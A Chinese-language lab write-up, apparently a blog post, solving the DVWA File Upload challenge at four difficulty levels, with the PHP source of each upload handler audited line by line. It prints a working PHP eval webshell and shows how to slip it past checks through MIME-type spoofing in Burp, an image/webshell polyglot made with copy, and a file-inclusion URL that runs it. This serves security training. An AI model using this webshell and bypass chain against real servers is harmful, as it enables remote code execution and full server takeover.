DVWA -File Upload-通关教程-完结

2024-04-11 12:44

本文主要是介绍DVWA -File Upload-通关教程-完结,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

DVWA -File Upload-通关教程-完结

文章目录

  • DVWA -File Upload-通关教程-完结
    • 页面功能
    • Low
    • Medium
    • High
    • Impossible

页面功能

此页面的功能为选择某个图片文件点击Upload按钮上传,上传成功后得知文件上传路径为DVWA\hackable\uploads
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Low

源码审计
这段 PHP 代码是一个简单的文件上传处理程序,它接受通过 POST 请求上传的文件,并将其保存到指定的目录中。
if( isset( $_POST[ 'Upload' ] ) ) {: 这行代码检查是否收到了名为 Upload 的 POST 请求。如果收到了该请求,说明用户尝试上传文件。
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";: 这行代码定义了上传文件的目标路径,即服务器上保存上传文件的目录。DVWA_WEB_PAGE_TO_ROOT 是一个常量,用于获取 DVWA 根目录的路径。文件将保存在 hackable/uploads/ 目录下。
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );: 这行代码将上传文件的名称附加到目标路径中,以便将文件保存到正确的位置。
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {: 这行代码使用 move_uploaded_file() 函数将临时存储的上传文件移动到目标路径。如果移动失败,则输出错误消息。
echo "<pre>{$target_path} succesfully uploaded!</pre>";: 如果移动成功,则输出成功消息,指示文件已成功上传到目标路径。
由此可见源码对上传文件直接移动,而文件的类型、内容没有做任何的检查、过滤。

<?phpif( isset( $_POST[ 'Upload' ] ) ) {// Where are we going to be writing to?$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );// Can we move the file to the upload folder?if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {// Noecho '<pre>Your image was not uploaded.</pre>';}else {// Yes!echo "<pre>{$target_path} succesfully uploaded!</pre>";}
}?>

漏洞利用
由于没有任何的过滤,因此我们可以直接上传一个一句话木马.

<?php @eval($_POST['kfc']) ?>

直接上传,网页没有进行过滤,直接返回了上传成功的信息。
在这里插入图片描述
访问Webshell地址,页面为空白页面即为正常解析执行。

在这里插入图片描述打开蚁剑,使用上传的一句话木马进行连接,直接 Webshell。此时可以随意访问服务器上的任意文件,进行任意操作。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Medium

源码审计
这段 PHP 代码是一个带有文件类型和大小限制的文件上传处理程序。
if( isset( $_POST[ 'Upload' ] ) ) {: 这行代码检查是否收到了名为 Upload 的 POST 请求。如果收到了该请求,说明用户尝试上传文件。
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";: 这行代码定义了上传文件的目标路径,即服务器上保存上传文件的目录。DVWA_WEB_PAGE_TO_ROOT 是一个常量,用于获取 DVWA 根目录的路径。文件将保存在 hackable/uploads/ 目录下。
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );: 这行代码将上传文件的名称附加到目标路径中,以便将文件保存到正确的位置。
// File information: 这部分代码获取了上传文件的信息,包括文件名、文件类型和文件大小。
// Is it an image?: 这行代码检查上传文件的类型和大小是否符合要求。如果上传文件是 JPEG 或 PNG 格式,并且文件大小不超过 100KB,则继续执行上传操作;否则输出错误消息。
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {: 这行代码使用 move_uploaded_file() 函数将临时存储的上传文件移动到目标路径。如果移动失败,则输出错误消息。
echo "<pre>{$target_path} succesfully uploaded!</pre>";: 如果移动成功,则输出成功消息,指示文件已成功上传到目标路径。
else { // Invalid file echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; }: 如果上传文件不是 JPEG 或 PNG 格式,或者文件大小超过 100KB,则输出错误消息,指示上传的文件不符合要求。
由此可见源码会获取文件的文件名、文件类型和文件大小,它要求文件类型必须是 jpeg 或者 png,同时限制文件大小不能超过 100000B(约为97.6KB)。

<?phpif( isset( $_POST[ 'Upload' ] ) ) {// Where are we going to be writing to?$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );// File information$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];// Is it an image?if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&( $uploaded_size < 100000 ) ) {// Can we move the file to the upload folder?if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {// Noecho '<pre>Your image was not uploaded.</pre>';}else {// Yes!echo "<pre>{$target_path} succesfully uploaded!</pre>";}}else {// Invalid fileecho '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';}
}?>

漏洞利用
此时我们再直接传输上面的一句话木马,会发现上传失败。
在这里插入图片描述
先做个一句话木马,然后用 brup 抓包,看到上传的 PHP 文件类型会被显示在包中。
在这里插入图片描述

修改文件类型为 image/png,然后放包。
在这里插入图片描述

可以看到虽然我们传的还是一句话木马,但是通过修改 http 报文可以通过网页的白名单检测,再次蚁剑连接即可。
在这里插入图片描述

High

源码审计
这段 PHP 代码是一个带有更严格文件类型和大小限制的文件上传处理程序
if( isset( $_POST[ 'Upload' ] ) ) {: 这行代码检查是否收到了名为 Upload 的 POST 请求。如果收到了该请求,说明用户尝试上传文件。
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";: 这行代码定义了上传文件的目标路径,即服务器上保存上传文件的目录。DVWA_WEB_PAGE_TO_ROOT 是一个常量,用于获取 DVWA 根目录的路径。文件将保存在 hackable/uploads/ 目录下。
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );: 这行代码将上传文件的名称附加到目标路径中,以便将文件保存到正确的位置。
// File information: 这部分代码获取了上传文件的信息,包括文件名、文件扩展名、文件大小和临时文件路径。
// Is it an image?: 这行代码检查上传文件的类型和大小是否符合要求,并使用 getimagesize() 函数验证上传文件是否为有效的图像文件。如果上传文件是 JPEG 或 PNG 格式、文件大小不超过 100KB,并且是有效的图像文件,则继续执行上传操作;否则输出错误消息。
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {: 这行代码使用 move_uploaded_file() 函数将临时存储的上传文件移动到目标路径。如果移动失败,则输出错误消息。
echo "<pre>{$target_path} succesfully uploaded!</pre>";: 如果移动成功,则输出成功消息,指示文件已成功上传到目标路径。
else { // Invalid file echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; }: 如果上传文件不符合要求,则输出错误消息,指示上传的文件不符合要求。
重点:strrpos(string,find,start) 函数返回字符串 find 在另一字符串 string 中最后一次出现的位置,如果没有找到字符串则返回 false,可选参数 start 规定在何处开始搜索。getimagesize(string filename) 函数会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头则报错。源码通过字符串匹配来确定文件后缀名,并且查看文件的相关参数,提高了过滤的强度。

<?phpif( isset( $_POST[ 'Upload' ] ) ) {// Where are we going to be writing to?$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );// File information$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];$uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];// Is it an image?if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&( $uploaded_size < 100000 ) &&getimagesize( $uploaded_tmp ) ) {// Can we move the file to the upload folder?if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {// Noecho '<pre>Your image was not uploaded.</pre>';}else {// Yes!echo "<pre>{$target_path} succesfully uploaded!</pre>";}}else {// Invalid fileecho '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';}
}?>

漏洞利用
由于源码会去检查文件头,现在我们不能再传 php 文件了,应该把一句话木马包在一张图片里面。
在这里插入图片描述

首先我们要准备一张图片和一句话木马,然后使用 copy 命令把两个文件合成为一个文件。

copy panda.jpeg/b + webshell.txt panda2.jpeg		//注意,此命令需要在windows下执行

在这里插入图片描述

然后直接上传,网页提示上传成功。但是此时是不能用蚁剑连接的,因为蚁剑的原理是向上传文件发送包含参数的 post 请求,通过控制参数来执行不同的命令。这里服务器将木马文件解析成了图片文件,因此向其发送 post 请求时,服务器并不会执行相应命令。
在这里插入图片描述

因此我们要把这张图片当做 php 来执行才行,我们可以用File Inclusion(文件包含) 漏洞,构造 payload。

?page=file:///E:\phpStudy\WWW\DVWA\hackable\uploads\panda2.jpeg

访问下看看,可以看到这个 url 使得一句话木马被解析,也就是说这个时候就可以使用蚁剑或者中国菜刀连接。
链接URL:http://192.168.197.208/DVWA/vulnerabilities/fi/?page=file:///E:\phpStudy\WWW\DVWA\hackable\uploads\panda2.jpeg
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Impossible

源码审计
到目前为止,源码将检查所有级别的所有内容。

<?phpif( isset( $_POST[ 'Upload' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// File information$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];$uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];// Where are we going to be writing to?$target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';//$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';$target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;$temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );$temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;// Is it an image?if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&( $uploaded_size < 100000 ) &&( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&getimagesize( $uploaded_tmp ) ) {// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)if( $uploaded_type == 'image/jpeg' ) {$img = imagecreatefromjpeg( $uploaded_tmp );imagejpeg( $img, $temp_file, 100);}else {$img = imagecreatefrompng( $uploaded_tmp );imagepng( $img, $temp_file, 9);}imagedestroy( $img );// Can we move the file to the web root from the temp folder?if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {// Yes!echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";}else {// Noecho '<pre>Your image was not uploaded.</pre>';}// Delete any temp filesif( file_exists( $temp_file ) )unlink( $temp_file );}else {// Invalid fileecho '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';}
}// Generate Anti-CSRF token
generateSessionToken();?>

这篇关于DVWA -File Upload-通关教程-完结的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/894109

相关文章

Ubuntu固定虚拟机ip地址的方法教程

《Ubuntu固定虚拟机ip地址的方法教程》本文详细介绍了如何在Ubuntu虚拟机中固定IP地址,包括检查和编辑`/etc/apt/sources.list`文件、更新网络配置文件以及使用Networ... 1、由于虚拟机网络是桥接,所以ip地址会不停地变化,接下来我们就讲述ip如何固定 2、如果apt安

PyCharm 接入 DeepSeek最新完整教程

《PyCharm接入DeepSeek最新完整教程》文章介绍了DeepSeek-V3模型的性能提升以及如何在PyCharm中接入和使用DeepSeek进行代码开发,本文通过图文并茂的形式给大家介绍的... 目录DeepSeek-V3效果演示创建API Key在PyCharm中下载Continue插件配置Con

Deepseek R1模型本地化部署+API接口调用详细教程(释放AI生产力)

《DeepseekR1模型本地化部署+API接口调用详细教程(释放AI生产力)》本文介绍了本地部署DeepSeekR1模型和通过API调用将其集成到VSCode中的过程,作者详细步骤展示了如何下载和... 目录前言一、deepseek R1模型与chatGPT o1系列模型对比二、本地部署步骤1.安装oll

在不同系统间迁移Python程序的方法与教程

《在不同系统间迁移Python程序的方法与教程》本文介绍了几种将Windows上编写的Python程序迁移到Linux服务器上的方法,包括使用虚拟环境和依赖冻结、容器化技术(如Docker)、使用An... 目录使用虚拟环境和依赖冻结1. 创建虚拟环境2. 冻结依赖使用容器化技术(如 docker)1. 创

解决JavaWeb-file.isDirectory()遇到的坑问题

《解决JavaWeb-file.isDirectory()遇到的坑问题》JavaWeb开发中,使用`file.isDirectory()`判断路径是否为文件夹时,需要特别注意:该方法只能判断已存在的文... 目录Jahttp://www.chinasem.cnvaWeb-file.isDirectory()遇

Spring Boot整合log4j2日志配置的详细教程

《SpringBoot整合log4j2日志配置的详细教程》:本文主要介绍SpringBoot项目中整合Log4j2日志框架的步骤和配置,包括常用日志框架的比较、配置参数介绍、Log4j2配置详解... 目录前言一、常用日志框架二、配置参数介绍1. 日志级别2. 输出形式3. 日志格式3.1 PatternL

MySQL8.2.0安装教程分享

《MySQL8.2.0安装教程分享》这篇文章详细介绍了如何在Windows系统上安装MySQL数据库软件,包括下载、安装、配置和设置环境变量的步骤... 目录mysql的安装图文1.python访问网址2javascript.点击3.进入Downloads向下滑动4.选择Community Server5.

CentOS系统Maven安装教程分享

《CentOS系统Maven安装教程分享》本文介绍了如何在CentOS系统中安装Maven,并提供了一个简单的实际应用案例,安装Maven需要先安装Java和设置环境变量,Maven可以自动管理项目的... 目录准备工作下载并安装Maven常见问题及解决方法实际应用案例总结Maven是一个流行的项目管理工具

本地私有化部署DeepSeek模型的详细教程

《本地私有化部署DeepSeek模型的详细教程》DeepSeek模型是一种强大的语言模型,本地私有化部署可以让用户在自己的环境中安全、高效地使用该模型,避免数据传输到外部带来的安全风险,同时也能根据自... 目录一、引言二、环境准备(一)硬件要求(二)软件要求(三)创建虚拟环境三、安装依赖库四、获取 Dee

MySql9.1.0安装详细教程(最新推荐)

《MySql9.1.0安装详细教程(最新推荐)》MySQL是一个流行的关系型数据库管理系统,支持多线程和多种数据库连接途径,能够处理上千万条记录的大型数据库,本文介绍MySql9.1.0安装详细教程,... 目录mysql介绍:一、下载 Mysql 安装文件二、Mysql 安装教程三、环境配置1.右击此电脑